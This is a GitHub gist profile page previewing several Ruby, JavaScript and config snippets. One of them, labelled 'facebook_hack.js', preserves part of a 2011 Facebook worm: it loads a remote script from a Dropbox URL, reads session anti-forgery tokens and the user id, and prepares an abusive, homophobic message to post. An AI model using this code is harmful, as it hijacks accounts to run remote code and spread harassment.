Skip to content

Instantly share code, notes, and snippets.

View amrnt's full-sized avatar

Amr Tamimi amrnt

View GitHub Profile
@amrnt
amrnt / chat.html
Created October 27, 2011 16:57 — forked from JoeyButler/chat.html
Simple Chat app
<!DOCTYPE html>
<html>
<head>
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js'></script>
<script>
$(document).ready(function(){
function debug(str){ $("#debug").append("<p>"+str+"</p>"); };
if(typeof WebSocket === 'undefined') {
alert("Your browser does not support websockets.")
}
require 'rack'
# Released under MIT license, see tests / example.ru for usage
module Rack
class APIVersionMapper
ERROR_TEXT = '<html><head><title>Unknown API Version</title></head><body>Unknown API Version v%s</body></html>'.freeze
EMPTY_RESPONSE = [404, {'Content-Type' => 'text/html', 'Content-Length' => '0'}, ['']].freeze
VERSION_ENV_KEY = 'x-rack.api_mapper.version'.freeze
QUERY_STRING = "QUERY_STRING".freeze
@amrnt
amrnt / gist:1114495
Created July 29, 2011 19:00 — forked from tomlea/gist:207938
This is very rough and ready.
require "net/http"
# Example Usage:
#
# use Rack::Proxy do |req|
# if req.path =~ %r{^/remote/service.php$}
# URI.parse("http://remote-service-provider.com/service-end-point.php?#{req.query}")
# end
# end
#
@amrnt
amrnt / gist:982773
Created May 20, 2011 11:44 — forked from dhh/gist:981520
bulk api
# Bulk API design
#
# resources :posts
class PostsController < ActiveController::Base
# GET /posts/1,4,50,90
# post_url([ @post, @post ])
def show_many
@posts = Post.find(params[:ids])
end
ROOT
assets/
javascripts/
application.js
biz.js.coffee
bar.js.coffee
stylesheets/
application.css
baz.css.scss
foo.css.scss
@amrnt
amrnt / facebook_hack.js
Created May 12, 2011 07:13 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@amrnt
amrnt / rails.validations.js.coffee
Created May 6, 2011 16:13
Rails 3 Client Side Validations - CoffeeScript
###
* Rails 3 Client Side Validations - v3.0.4
* https://github.com/bcardarlela/client_side_validations
*
* Copyright (c) 2011 Brian Cardarella
* Licensed under the MIT license
* http://www.opensource.org/licenses/mit-license.php
*
* CoffeeScript Version is by Amr Numan Tamimi - v3.0.4.CoffeeScript
###
@amrnt
amrnt / file1.txt
Created May 1, 2011 15:42
the description for this gist
String file contents
# Additional translations at http://github.com/plataformatec/devise/wiki/I18n
ar:
errors:
messages:
expired: "لقد انتهى ، الرجاء طلب واحد جديد" # or "لقد انتهت ، الرجاء طلب واحدة جديدة"
not_found: "غير موجود"
already_confirmed: "was already confirmed, please try signing in"
not_locked: "was not locked"
not_saved: